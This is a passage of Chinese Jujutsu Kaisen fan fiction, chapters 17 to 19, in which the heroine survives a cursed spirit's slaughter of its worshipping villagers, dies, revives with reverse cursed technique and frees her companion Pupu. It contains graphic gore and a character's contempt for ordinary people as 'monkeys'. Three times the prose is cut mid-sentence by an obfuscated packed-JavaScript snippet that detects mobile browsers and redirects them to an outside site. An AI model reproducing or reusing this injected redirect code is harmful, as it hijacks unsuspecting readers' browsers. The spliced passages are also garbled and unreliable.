黑暗中,那两盏血红的灯笼越来越近,那些苍白的手已经伸向祭坛的边缘,向着伏黑惠,向着钉崎野蔷薇,向着她,缓缓探来。 17. 第十七章 那只咒灵的手伸向花野依面前时,身后传来村民们欣喜若狂的欢呼声。 那些声音尖锐、狂热,像是在迎接神圣的时刻,他们在庆祝她的死亡,在迎接那个吞噬了噗噗的咒灵。 真是一群蠢货 她花野依躺在那里,看着那些跪伏的身影,脑子里只剩下一个念头在缓慢转动 这群蠢货,供奉着这种特级咒灵,难不成真的以为它会乖乖听他们的话,成为什么所谓的“山神”? 等她和朋友们死后,下一个死的,就是他们。 突然! 花野依感觉到从身体深处涌出来的、被唤醒的、暴涨的咒力。 像是一股暖流冲进干涸已久的河床,瞬间填满了她体内所有枯竭的脉络。 她能感觉到那些咒力在血管里奔涌,在肌肉里流淌,在每一寸皮肤下沸腾 是噗噗吗? 她没有时间去想 那股咒力涌出来的瞬间,她的身体就自己动了起来 不,不是身体 是术式。 是「幻花镜」,像是濒死的人本能地挣扎求生,她没有思考,没有指令。 术式就从她体内喷薄而出,铺天盖地地扩散开来。 一望无际的花海 花朵从虚空中绽放,从岩石的缝隙里生长,从空气中凝结成形,眨眼间就填满了整个空间。 花香从花瓣间弥漫开来,浓烈得让人分不清什么是真什么是假。 那只咒灵的手顿住了,像是被按下了暂停键,就那么悬停在半空中,一动不动。 花野依,伏黑惠,钉崎野蔷薇,三个人的身影和气息,像是被凭空抹去,彻底从它的感知里蒸发了。 那些苍白的手在空中茫然地摸索,血红的眼睛困惑地转动,却什么都抓不到,什么都看不见,只能看见那片无边无际的、迷惑一切的花海。 下方的村民们却看不见这些 他们只能看见祭坛上的变化,那三个咒术师的身影消失了,空荡荡的祭坛上什么都没有。 他们看见山神大人的手转变了方向,从祭坛上移开,向着他们这边伸来。 这是……赐福? 佐藤村长第一个反应过来,他跪伏在地上,布满皱纹的脸上早已是老泪纵横。 那些泪水顺着沟壑般的纹路滑落,滴在他颤抖的手背上,但他的嘴角是上扬的,是狂喜的,是虔诚的。 他看着那只向自己伸来的、苍白的手,看着那只手越来越近,越来越近,激动得浑身都在发抖: “山神大人!请保——” 他的话没有说完 那只手捏住了他的头 五根苍白的手指收拢,像是捏碎一个熟透的果子一样,轻轻一用力 啪! 鲜血伴随着不知名的组织迸溅开来,溅在他身后那些跪伏的村民脸上、身上、手上。 那颗头颅在指间爆裂的瞬间,他的身体还保持着跪伏的姿态,还保持着虔诚的颤抖。 还来不及倒下,就被那只手随手一甩,像丢弃一件垃圾一样,扔向了人群。 尸体向后倒去,没有头颅的脖颈处鲜血喷涌,溅了身后的人满身满脸。 尖叫声炸开了 前一秒还在狂热欢呼的村民,这一刻全都在尖叫,在哭喊,在求救。 他们拼命想要站起来逃跑,想要爬向出口。 那些手从黑暗中伸出来,收割着一条又一条生命。 “不、不要!山神大人!我们是您的子民啊——!” “救命!救救我!” “跑!快跑!” “不要踩我——不要!啊——!” 彻底的、荒唐的、如同地狱图景一般的混乱 前一秒还在互相拥抱、共同祈祷的邻里乡亲,这一刻全都在互相推搡、互相踩踏。 有人被绊倒了,还没来得及爬起来,就被身后涌来的人潮踩在身上,踩在头上,踩在那些还在抽搐的肢体上。 有人抓住身边的人想要借力站稳,却被那人狠狠推开,推向了那些伸来的手。 有人已经吓得失去了理智,抱着头蜷缩在地上尖叫,却不知被谁一脚踢开,踢向了那些苍白的触须。 那些被踩在脚下的人里,有那个送饭的婶子 她倒在地上,脸上还带着那副朴实和善的面容,却已经没有了任何神采。 她的身体被人群踩过,踩得血肉模糊,踩得面目全非,踩得和那些死去的牲畜没什么两样。 一个年轻女人跪在地上,双手合十,还在试图祈祷 “山神大人,我是虔诚的,我每年都来献祭,我——” 一只手从她背后贯穿了她的胸膛 她低头看着那只从胸口伸出来的、苍白的手,看着手上沾满的、自己的血,眼睛里满是不可置信。 花野依的目光从那些混乱的场面上一扫而过,没有停留,没有波动。 她站在那里,站在那片花海的掩护之下,平静地看着这一切。 咒力在她体内运转,加速着药物的代谢,让那些麻痹四肢的药性一点一点被清除。 她能感觉到力气正在慢慢回来,能感觉到身体正在慢慢恢复控制。 她的心里,没有任何波动 那些惨叫声,那些哭喊声,那些临死前的祈祷和咒骂。 传到她耳朵里,就像隔着一层厚厚的玻璃,像是与她无关的背景音。 那些血,那些尸体,那些被踩踏的残肢断臂。 映入她眼帘,就像在看一场荒唐的戏剧,一场她早已知道结局的、愚不可及的闹剧。 她的目光落在那个跪在人群边缘的小小身影上 那个小女孩 她趴在地上,双手抱着头,小小的身子缩成一团,在混乱的人群中被撞来撞去,她的嘴张着,在尖叫,在哭喊。 花野依看着她,看着她那张曾经仰起脸笑着送画的、亮晶晶的眼睛此刻满是恐惧和泪水。 她移开了视线 花野依慢慢走向自己的同伴 伏黑惠和钉崎野蔷薇依然躺在那里,昏迷不醒,对外界发生的一切一无所知。 他们的脸上还带着沉睡时的平静,和周围这片地狱般的场景形成了刺眼的对比。 花野依弯下腰,一手抓住一个人的手臂,用逐渐恢复的力气把他们拖向更加隐蔽的石缝深处。 那里更加安全,不会被那些胡乱挥舞的手碰到。 她把两个人安放好,靠坐在岩壁上,从石缝的间隙里,继续看着外面的景象。 屠杀还在继续 那些村民已经彻底失去了理智,像无头苍蝇一样四处乱撞,却怎么也找不到出口。 那个咒灵 那个他们亲手喂养、亲手献祭、亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471640|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手推上神坛的“山神” 正在尽情享用它的祭品。 那些苍白的手挥舞着,每一次落下都带走一条生命,每一次扬起都溅起一片血花。 曾经和蔼可亲的面孔,此刻扭曲成各种惊恐的模样 邻里相亲的人们,此刻为了活下去互相推搡、互相踩踏、互相出卖 虔诚跪拜的身影,此刻横七竖八地倒在血泊里,再也站不起来。 她的心里泛起一丝嘲讽 真是一群蠢货 他们在供奉咒灵的时候,有没有想过这一天? 他们在献祭那些“外地人”的时候,有没有想过自己也会成为祭品? 有没有想过,那个他们亲手喂养大的怪物,根本不是什么会保佑他们的神,只是一只充满恶意的咒灵? 没有 他们当然没有想过 如果他们想过,就不会这样做了 如果他们有一点点脑子,就不会这样做了 所以现在,他们死了 被自己亲手供奉的怪物杀死,死在自己亲手布置的祭坛上,死在自己亲手挑选的献祭之地。 真是…… 花野依在脑海里搜寻着一个合适的词语来形容眼前的这一幕,来形容这群人。 原始? 不 那他们是什么? 比原始还无能的东西 猴子—— 这个词语浮现在脑海里时,花野明白了 猴子! 对,就是猴子! 一群披着人皮的、会说话会走路的、但本质上和猴子没什么区别的东西。 他们会模仿人的行为,会笑,会说话,会送饭,会画画,会跪拜祈祷,但他们没有人的脑子,没有人的思考能力。 只会像猴子一样重复那些被教导的行为,只会像猴子一样在危险来临时尖叫逃窜,只会像猴子一样 产生咒灵 这个念头像一道闪电劈进花野依的脑海里 咒术师是不会产生咒灵的 只有这些无法控制自己的猴子,才会产生咒灵 是他们的愚蠢,他们的贪婪,他们的自私,他们的所有负面情绪,喂养出了这个世界上的所有咒灵。 咒术师每天都在和这些东西战斗,每天都在受伤,每天都在死人,每天都在—— 保护这群猴子。 花野依的目光落在那些落在那些被咒灵撕碎的尸体上。 她想起虎杖悠仁 她想起自己这一路走来的每一次受伤,每一次濒死,每一次咬牙坚持 想起那些躺在医务室里盯着天花板数裂缝的夜晚 想起那些咒力耗尽后从骨髓深处涌上来的疲惫 想起那些被五条悟逼着突破极限时的绝望和恐惧。 她受了那么多伤,流了那么多血,拼了那么多次命 是为了保护这样的猴子吗? 是为了让这群猴子继续活着,继续产生咒灵,继续让下一批咒术师来送死吗? 花野依靠在岩壁上,从石缝的缝隙里看着外面的屠杀逐渐接近尾声。 她的心里没有任何波动 没有不忍,没有同情,甚至没有想要出手相救的冲动 只有一个问题,在她脑海里一遍又一遍地回响: 咒术师究竟是为了什么,才会保护这群猴子? 18. 第十八章 现在的局面已经完全超出了控制 花野依蜷缩在石缝深处,维持着「幻花镜」的咒力输出,确保自己和两个昏迷的同伴仍然被那片迷惑感官的花海笼罩。 脑海里飞速运转着思考对策。 眼前这个特级咒灵,已经不是他们三个学生能够解决的了。 即使伏黑惠和钉崎野蔷薇现在醒来,三人联手,面对刚刚屠杀了全村近百条生命的怪物,也只有一个结局。 他们需要救援 需要通知外界,需要有人来 但她的手机早就被那些村民收走了。 现在想来,那些猴子从一开始就没打算让他们活着离开。 她只能寄希望于辅助监督能够发现这里的不对劲,或者“窗”的监测人员能够检测到这个偏远山村里突然爆发的特级咒力波动。 可是这个村子太偏了,连信号都断断续续,开车进来都需要大半天,等他们发现不对劲,等他们派人过来,等他们…… 来得及吗? 最后一个村民的惨叫声在山洞里回荡着,渐渐低了下去,最终归于沉寂。 花野依透过石缝的间隙看过去,看见那个咒灵站在尸山血海之中 苍白的手收回体内,那双血红的眼睛缓缓闭上,像是在享受什么美味的餐后甜点。 然后 它睁开眼睛,那双眼睛里的红光更盛了,压迫感更强了,它的咒力浓度明显比之前又深厚了几分。 它又变强了 那些村民的血肉,临死前的恐惧和绝望,全都成了它的养料。 花野依的心脏猛地收紧,这个级别的咒力波动,恐怕已经逼近特级的上游水准。 这样的存在,恐怕只有五条老师能够解决。 可是五条老师现在正在海外出差,远在千里之外,根本不可能及时赶回来。 冷汗从她的额角滑落,浸湿了鬓发,黏在苍白的脸颊上 她的呼吸变得急促起来。 维持「幻花镜」需要持续输出咒力,而她在维持术式的同时,还要分出一部分咒力去加速体内药物的分解。 两者并行,让本就所剩不多的咒力像漏水的桶一样飞速流失。 四肢无力的感觉又开始涌上来 药物分解的速度变慢了,那些麻痹神经的成分重新占据上风,让她的肌肉开始发软。 她的手指开始颤抖她咬紧牙关,试图加大咒力输出,却发现身体已经开始不听使唤。 就在这时,那个咒灵动了起来 它没有继续在山洞里停留,而是转过身,向着洞口的方向,缓缓走去。 一般来说,咒灵是不会离开自己的诞生地,那里有它们的怨念核心,有它们的能量来源,离开那里会让它们变得虚弱。 但偶尔也有例外,特别是特级咒灵,特别是刚刚晋升、正处于力量巅峰的特级咒灵…… 花野依看着那个庞大的、类人型的轮廓一步一步走向洞口,心里只剩下一个念头 走出去,走出去,离开这里,离开我们—— 咒灵的身影在山洞的入口处 花野依屏住呼吸,继续维持着术式,等待着,等待着它走远,等待着它离开这片区域 四肢无力的感突然加强,像是一股潮水猛地涌上来,冲垮了她苦苦维持的平衡。 她的腿一软,整个人向后倒去,右手本能地伸向身后的石壁想要支撑住身体 哐啷——! 那块石壁不知是因为年月太久还是被咒力侵蚀,竟然在她这一撑之下碎裂开来,几块细碎的石子崩落,在地上弹跳着,发出清脆的声响。 花野依的心跳在那一瞬间停止了 她猛地抬头,看向洞口的方向 那个已经走出去的庞大身影,停住了 它转过身来。 霎那间,那些苍白的手从它体内伸出,铺天盖地地向着石缝的方向涌来 轰隆——! 她身旁的石壁被那些手击中,整块岩石炸裂开来,碎石飞溅,砸在她身上,划破了她的脸颊和手臂。 但花野依顾不上那些,她的目光越过那些碎石,看向自己身后,伏黑惠和钉崎野蔷薇依然昏迷着,躺在那里,对这一切一无所知。 她被发现了! 花野依的目光在两人脸上停留了一瞬,只有一眨眼的工夫,她在心里做出了决定。 她解除了自己身上的术式,让那片保护自己的花海消散,让自己彻底暴露在那个咒灵的感知里。 她抬起那双还在发麻、还在颤抖的双腿,用尽全身力气,向着洞口的相反方向 向着洞口处,向着远离那两个人的方向,狂奔。 跑! 跑起来! 把它引开! 汗水模糊了视线,她顾不上擦,身后那些苍白的手追上来,她顾不上躲。 她拼命地跑,用那具已经被药物麻痹了大半的、虚弱不堪的身体,跑向她唯一能跑的方向。 一只手从侧面袭来,她侧身躲过,手臂却被另一只手划开一道长长的口子,鲜血迸溅。 又一只手从头顶落下,她矮身翻滚,后背却被蹭掉一层皮肉。 更多的、无数的、密密麻麻的手从四面八方涌来,她在那缝隙间穿梭、闪躲、挣扎,像一只被困在蛛网里的飞虫,拼命想要挣脱。 那些伤口火辣辣地疼,那些血在往外涌,那些药物在身体里作祟——但她不能停下来。 在一次闪躲的间隙,她回头看了一眼,那个咒灵的注意力已经完全被她吸引,那些手全都追着她来了,没有一只伸向那个石缝的方向。 她立刻减少了维持那两人身上术式的咒力输出,把更多的咒力留给自己,然后—— 「幻花镜」发动 她的身影消失了 在那个咒灵的感知里,那个刚刚还在拼命奔跑的猎物,突然就蒸发了一样,彻底没了踪迹。 它茫然地停下攻击,那些手在空中胡乱摸索,却什么都碰不到。 下一秒,花野依的身影出现在洞口不远处 她没有隐藏自己,而是故意发出一声急促的喘息,故意让脚步声在山洞里回响,故意让那个咒灵看见她。 看见她站在洞口,看见她回头看了它一眼,随即转身,向着洞外的黑暗狂奔而去。 那个咒灵愣住了,它暴怒了,那些苍白的手疯狂地挥舞着,像是无数条触须在空气中抽动。 它明白了,那个小虫子,那个一直在戏耍它的小虫子,刚才是在故意吸引它的注意,故意让它追着她跑,故意! 更多的、更密集的、铺天盖地的手从它体内涌出,向着洞口的方向追去。 但这一次,那些手不只是追,而是交织、缠绕、蔓延,在山洞的入口处形成了一道密不透风的墙。 一道由无数苍白手指编织成的、严严实实的屏障——防止她再跑回山洞深处。 花野依看着那道屏障在身后成形。 那些密密麻麻的手指彻底隔绝了自己和同伴之间的通道,头也不回地冲进了洞外的黑暗里。 外面是一片漆黑的森林 没有月亮,没有星光,只有浓得化不开的黑暗,只有那些扭曲的、张牙舞爪的树影。 花野依没有犹豫,没有选择方向,只是本能地朝着树林深处跑去,跑向那片什么都看不见的黑暗。 身后,那个庞大的、愤怒的身影,紧跟着追了出来 那些苍白的手在黑暗中挥舞,像是无数条触须在搜索、在追踪、在试图抓住那个胆敢戏弄它的小虫子。 花野依在那片手的森林里穿梭,闪躲,奔跑。 一边跑一边在心里默算着,特级咒灵的触手不可能无限伸长,一定有极限范围。 她需要试探出那个范围,需要保持在那个范围的边缘。 需要尽可能地把时间拖长,拖到有人来救援,拖到伏黑惠他们醒来,拖到—— 一只手从侧面袭来,她故意没有完全躲开,让那只手在她肩膀上划开一道伤口。 疼,但她忍住了,继续跑。 又一只手从背后追来,她侧身让那只手擦过腰侧,又是一道伤口,继续跑。 第三道,第四道,第五道—— 她在用身体丈量距离 终于,在又一次闪躲之后,她发现那些手的攻势变弱了。 那些手追击的速度变慢,伸长的距离变短。 她回头看了一眼,那个咒灵庞大的身影已经远得只剩下一个模糊的轮廓。 那些手的尖端在她身后几米处徒劳地挥舞,再也够不到她。 她测出来了,这是它的极限范围。 花野依放慢了一点速度,让自己刚好停留在这个范围的边缘,不远不近。 刚好够不到,刚好让它愤怒地追着她,刚好让那两个人安全。 然后她开始戏弄它 她的身影一会儿出现,一会儿消失,她的气息一会儿在这里,一会儿在那里。 她像一只狡猾的蝴蝶,在那片手的边缘翩翩起舞,每一次都刚好躲开,每一次都刚好挑衅,每一次都让那个咒灵的怒火更盛一分。 那个咒灵彻底被激怒了 它发出一声刺耳的尖啸,那些手疯狂地挥舞着,却怎么也抓不到那个该死的、狡猾的、一次又一次戏弄它的小虫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471641|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 它的怒火越烧越旺,越烧越旺,终于—— 它收回了所有的手 那些密密麻麻的触须瞬间缩回它体内,像是从未出现过一样,那个庞大的身影站在原地,一动不动。 那双血红的眼睛盯着远处的花野依,盯着那个还在挑衅她的小虫子。 花野依愣住了 它要干什么?放弃了吗? 下一秒,她感觉到有什么东西碰了碰她的右手手臂。 那是一只纤细的手 非常纤细,苍白,非常柔弱的手,像是轻轻一折就会断掉的手。 它不知从哪里伸出来,就那么轻轻地、柔柔地、像是抚摸一样,搭在了她的右手手臂上。 这只手,超出了她刚才测量的范围 这只手,是从哪里来的? 花野依来不及思考,下一秒,剧痛就从右手手臂上炸开了。 灼烧般的痛感在她体内疯狂蔓延。 她低头看去,看见那只手搭着的地方,正在以肉眼可见的速度蔓延开一片黑紫色的纹路。 那些纹路像是有生命一样,顺着她的血管向上攀爬,所过之处,皮肤开始糜烂,肌肉开始腐败,血肉开始枯萎。 是毒! 这只手在释放毒素! 花野依的脑海里一片嗡鸣,痛得几乎无法思考。 她本能地想要挣脱,想要甩开那只手,但那只看似柔弱无力的手,却像是长在她手臂上一样,怎么都甩不掉。 那些黑紫色的纹路已经蔓延到了她的肩膀,整条右手手臂的皮肤都在溃烂,都在腐败! 她咬紧牙关,用尽全身力气向后一挣—— 噗嗤! 那只手还搭在她手臂上,但她的手臂,已经和身体分开了。 那条已经完全糜烂、腐败、枯萎的手臂,从肩膀处生生断裂。 断臂被那只纤细的手轻轻握着,像握着一件已经无用的垃圾,鲜血从断口处喷涌而出,洒在地上,渗进泥土里。 痛到发不出任何声音,痛到嘴唇被死死咬住流出血液,痛到视线模糊、呼吸急促、意识开始涣散。 花野依没有停下来,她捂着不断喷血的断口,踉跄着继续向前跑,一步,两步,三步—— 那只手又来了 这一次是从侧面,从背后,从四面八方 那些纤细的、苍白的、柔弱的手,不知从哪里冒出来,不断地攻击着她。 毒素从每一个伤口渗入,让她的身体开始从内部腐败,让她的意识开始从边缘模糊。 咒力快要用尽了,已经无法维持「幻花镜」,无法隐匿自己,无法迷惑那个怪物。 她只能把最后一点咒力全部用来强化身体,让那具已经破烂不堪的身体能够再多跑一步,再多跑一步—— 再跑远一点! 再远一点! 只要再远一点,伏黑惠和野蔷薇就安全一点! 那些手还在追着她,那些毒素还在侵蚀着她,她的后背、大腿、肩膀、腰侧。 每一个伤口都在腐烂,都在流血,都在把她推向死亡的深渊。 她看不见那些,感受不到那些,她只知道跑,跑,跑! 不知道跑了多久 不知道跑了多远 终于,她的腿再也迈不动了…… 花野依的身体向前倾倒,重重地摔在地上,泥土和碎石扎进她的伤口,带来一阵新的剧痛,但她已经感觉不到了。 身体早就痛得麻木了,意识早就模糊得像隔着一层雾,只有那个念头还在支撑着她 再爬几步,再爬几步—— 她趴在地上,用仅剩的左手,一点一点地向前爬。 身后拖着一条长长的、触目惊心的血迹,在黑暗中蜿蜒向前,像是用生命写下的句号。 爬…… 再爬一步! 再爬—— 噗嗤! 那只手从她的后背刺入,从前胸贯穿而出。 花野依的身体猛地僵住,然后软软地趴了下去。 大量的血液从那个贯穿的伤口涌出,涌进身下的泥土,把那片土地染成深黑色。 她的眼睛还睁着,看着前方那片漆黑的森林,看着那片永远也跑不到头的黑暗。 那只手慢慢抽了回去 花野依趴在那里,躺在自己的血里,一动不动。 森林里很安静 安静得能听见风吹过树叶的沙沙声,能听见远处虫鸣的微弱回响,能听见—— 什么都没有了 她就那样趴着,像是睡着了,像是终于可以休息了,只是那些血,还在流。 19. 第十九章 咒术师的成长从来不是一条缓慢上升的平滑曲线,而是在某个瞬间,在生与死的夹缝里,在绝望与希望的边界上,呈井喷式地爆发。 像是做梦 花野依睁开眼睛时,发现自己回到了仙台老家的卧室里。 那间她从小长大的房间,墙壁上还贴着褪色的墙纸,书桌上还摆着小时候用过的台灯,窗帘还是那副洗得发白的碎花布。 窗外没有月光,没有星光,只有浓得化不开的黑暗。 但床头那盏昏黄的小夜灯亮着,在墙壁上投下一小片温暖的、橘黄色的光晕。 她蜷缩在床上,用被子把自己紧紧裹住,裹成一个密不透风的茧。 好冷…… 真的好冷! 身体里所有的温度都在流失,血液正在慢慢变冷,灵魂正在一点一点地冻结。 她缩在被子里,紧紧抱住自己,牙齿在打颤,身体在发抖,抖得床板都在轻轻震动。 为什么冷? 为什么? 她什么都不知道 什么都记不起来 她只知道好冷,只知道把自己缩成更小的一团,缩进被子更深的地方,缩进那个假装安全的壳里。 她好害怕 …… 一只手落在了被子上 隔着那层厚厚的被子,隔着那些用来保护自己的布料,那只手轻轻地、柔柔地,抚摸她的头。 一下……一下……又一下。 轻轻地,慢慢地,就那么一下一下地摸着,像是很久很久以前,在她还很小很小的时候,有人也是这样摸着她的头,哄她入睡。 被窝里的温度开始回升 那种从骨髓深处渗出来的冷,一点一点地被驱散,那种没来由的恐惧,一点一点地被抚平。 她蜷缩在被子里,感受着那只手的温度透过被子传进来,感受着那种久违的、像是回到了最初的地方的安心感。 像是回到了羊水里 像是回到了什么都还不用害怕的时候 妈妈—— 是妈妈的手 回忆起妈妈的温度,花野依的眼角流出眼泪 她像个孩子一样,隔着被子大声地哭了出来。 眼泪鼻涕一起往外涌,她只是哭,只是喊,只是把那些憋在心里太久太久的话,全部倒出来。 “妈妈!我好害怕!妈妈!” “妈妈!我好痛啊!我的手臂断掉了!肚子也破了个大洞!还流了好多血!妈妈!我好害怕啊!” “妈妈!为什么?为什么?咒术师究竟是为了什么? 那些猴子……那些猴子他们什么都不懂,他们只会产生咒灵,只会互相残杀…… 妈妈,我们为什么要保护他们?” “妈妈!我好害怕……我害怕咒灵,我害怕成为咒术师……妈妈!我好害怕!” “妈妈!我不想变得勇敢!我不想变得坚强! 妈妈!我想回家!我想回家!我想回家!” 她的声音逐渐变得哽咽,变得沙哑,变得像是哭累了的孩子那样,只剩下抽抽涕涕的余音。 眼泪还在流,但已经没有力气哭了,身体还在抖,但已经没有力气挣扎了。 她蜷缩在那片温暖里,蜷缩在那只手的抚摸下,意识开始模糊,开始下沉,开始飘向回忆中母亲的怀抱中。 就这样睡吧 就这样睡着了 什么都不管了 什么都不在意了…… 温暖的被子盖在身上,像是回到了母亲的羊水里,像是回到了那个什么都不用害怕的最初…… “噗叽!” 一声呼唤穿透了梦境,穿透了黑暗,穿透了所有的混沌。 ———— 现实中,那只纤细苍白的手从咒灵体内伸出,轻轻握住了花野依的身体。 她的心脏已经停止了跳动 那具瘦小的、伤痕累累的身体,像一只被玩坏的破布娃娃,软软地垂在那只手里。 断臂处还在渗血,胸口的贯穿伤还在流血,那些被毒素侵蚀的伤口已经开始发黑、发臭。 她闭着眼睛,脸上没有痛苦,没有恐惧,只有一种奇怪的、像是终于可以休息了的平静。 那只手握着她的身体,缓缓举起,向着咒灵张开的巨口送去。 那张嘴里是一片浓得化不开的黑暗,是翻滚涌动的毒雾,是能腐蚀一切、吞噬一切的虚无。 “噗叽!” 一滴泪水,从花野依紧闭的眼角滑落,滴在地上,渗进泥土里。 她的眼睛睁开了 一瞬间,咒力在她体内翻涌运作。 停止流动的血液重新开始奔涌,已经死去的细胞重新开始分裂,被毒素腐蚀的伤口重新开始愈合。 反转术式 在死亡的边缘,在心脏停止跳动之后,在灵魂即将离开身体的最后一刻—— 她领悟了反转术式伤口在愈合,断骨在重生,被毒素侵蚀的脏器在修复。 她能清晰地感受到那股力量在体内运转,像是温暖的水流,流过每一寸被死亡触碰过的皮肤。 回来了! 那道和噗噗之间已经断掉的链接—— 回来了!! 虽然很微弱,微弱的像一根快要断掉的蛛丝。 她能感受到,在那个方向,在那个咒灵体内深处的某个地方,有另一个生命,有另一个灵魂,有她的半身。 “噗噗!” 花野依嘶哑着呼喊那个名字,声音从喉咙里挤出来,沙哑得几乎听不清。 “噗叽……” 那回应很微弱,微弱得几乎听不见,像是从很远很远的地方传来。 但足够了 花野依清晰地感知到了噗噗的位置,在咒灵体内的最深处,在被无数毒雾包裹的核心处。 咒灵的毒素还在侵蚀她的身体,那些黑紫色的纹路还在试图蔓延。 但反转术式持续运转着,不断抵消着那些腐烂,不断修复着那些损伤。 她的身体还没有完全恢复,咒力还没有完全充盈,但她已经不再是没有还手之力的猎物了。 面前是咒灵张开的大嘴,浓烈的毒素形成黑雾,从那张巨口深处翻滚着涌出来,毒雾所过之处,连空气都在腐蚀,连光线都在扭曲。 就算学会了反转术式,眼前的这个特级咒灵,依旧不是她能够对付的。 除非—— 一个念头在脑海中闪过 如果有了噗噗呢? 如果她和噗噗联手呢? 如果……她能进入那个怪物的体内,找到噗噗,然后和噗噗一起…… 花野依没有挣扎 那只手握着她的身体,继续向着那张巨口送去。 她不做任何抵抗,任凭自己离那片毒雾越来越近,越来越近,直到被彻底吞没。 毒雾瞬间淹没了她 浓烈的、几乎凝成实质的毒素从四面八方涌来,侵蚀她的皮肤,腐蚀她的肌肉,试图钻进她的血管、她的骨髓、她的灵魂。 反转术式疯狂运转着,不断修复那些被腐蚀的部位,抵抗那些毒素的侵袭,在她和死亡之间拉锯。 她忍着疼痛在黑暗中摸索着,向前移动,向着那个感知到的方向,向着噗噗的位置。 毒雾遮挡了视线。 但她不需要,她只需要顺着那道链接,顺着那个和噗噗之间的、微弱却从未真正断开的纽带,一点一点地向前。 黑暗中,她的手摸到了什么 一个小小的、用特殊材质编织成的笼子。 那种材质能干扰咒力的运转,能让被困在里面的咒灵无法逃脱,无法反抗。 噗噗就在里面! “噗噗!”她呼唤着,声音在毒雾中闷闷地回荡。 “噗叽……”笼子里传来一声微弱的、无力的回应。 它还活着! 花野依的双手握住那个笼子,感受着干扰咒力的材质在试图阻断她的咒力输出。 她深吸一口气,减少了一点反转术式的咒力输出,把更多的咒力集中到双手上,集中到那个笼子上。 论起咒力的精细运作,她有自信! 从小到大,从学会使用咒力的第一天起,她早就把咒力控制能力磨炼到了极致。 咔嚓 笼子碎了 一个小小的、绿色的身影从破碎的笼子里扑出来,扑进她的怀里。 噗噗! 花野依紧紧抱住那个小小的身体,感受着那份久违的温暖,感受着那份久违的安心。 她迅速运转起反转术式,把咒力分给怀里的噗噗,感受着它虚弱的咒力一点点恢复。 噗噗除了咒力缺失,基本没有受伤,那个特殊的笼子虽然困住了它,却也意外地阻隔了毒素对它的侵蚀。 “没事了。”她轻声说,“我来了。” 噗噗蹭着她的脸,发出微弱的、安心地“噗叽”声。 但危险还没有过去 周围的毒雾还在翻滚,还在试图侵蚀她们反转术式可以暂时抵抗。 但咒力不是无限的,她需要离开这里,需要找到出口,只有反转术式不够。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471642|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她需要更具伤害性的能力 花野依看着怀里的噗噗,看着它虚弱的样子,心里涌起一个想法 如果噗噗有足够的咒力,它就可以吞噬掉这个特级咒灵。 吞噬…… 吞噬咒力 这个词在脑海里回荡着,像是一扇门被轻轻叩响。 花野依闭上眼睛,陷入了深度思考中,周围的一切都模糊了,毒雾的侵蚀、身体的疼痛、危险的逼近。 全都不重要 她的意识飘向某个模糊的边界,触碰着某个从未探索过的领域。 吞噬咒力…… 如果,不是让噗噗吞噬,而是让什么东西……让什么东西先…… 她体内的咒力开始自行运转,像是被某种更深的本能唤醒。 咒力从她体内涌出,顺着她和噗噗之间的链接,流向某个方向 噗嗤! 是什么东西被刺穿的声音 花野依睁开眼睛,看见周围的毒雾中,有什么东西在生长。 是花 无数的花,从虚空中绽放,从咒灵体内的血肉中钻出,在那些翻滚的毒雾中生长。 它们的根须深深地扎进周围的血肉里,像是植物的根系扎进土壤,像是寄生虫的触须扎进宿主,像是在吸收。 那些花朵在以咒灵为养料,疯狂地生长、绽放、蔓延,一朵接一朵,一片接一片,很快就铺满了整个空间,铺满了她能看见的所有方向。 花朵的颜色在黑暗中格外刺眼,有的是鲜红的像是吸饱了血,有的是惨白的像是从骨头上长出来的,有的是漆黑的像是被毒雾浸染过的。 咒灵发出了痛苦的嘶鸣 花朵的根须扎进它的血肉深处,扎进它的咒力源头,像是无数根吸管,疯狂地抽取着它的力量。 毒雾在减弱压迫感在消退,那个怪物的咒力浓度在以肉眼可见的速度下降。 这就是她的新能力——「寄生」 花野依抱着噗噗,看着那些花朵疯狂生长,看着那个咒灵在痛苦中挣扎。 被抽取的咒力顺着那些根须、顺着那些花朵、顺着她和噗噗之间的链接,一点一点地流进她们体内,补充着她们的咒力。 终于,咒灵再也无力维持体内的毒雾,那些黑雾渐渐稀薄,渐渐消散,露出了一片狼藉的内部空间。 那些花朵已经长满了每一寸血肉,根须已经扎进了每一个角落。 那个曾经不可一世的特级咒灵,此刻只剩下虚弱的喘息和徒劳的挣扎。 花野依看见了一道裂口 被那些花朵的根须撕裂的出口,是通向外界的通道,是生路。 她抱着噗噗,向着那道裂口跑去,从咒灵体内一跃而出。 月光重新照在身上,夜风重新吹过脸颊,森林的黑暗重新将她包围。 但这一次,那些都不再可怕。 下一秒,怀里的噗噗突然动了 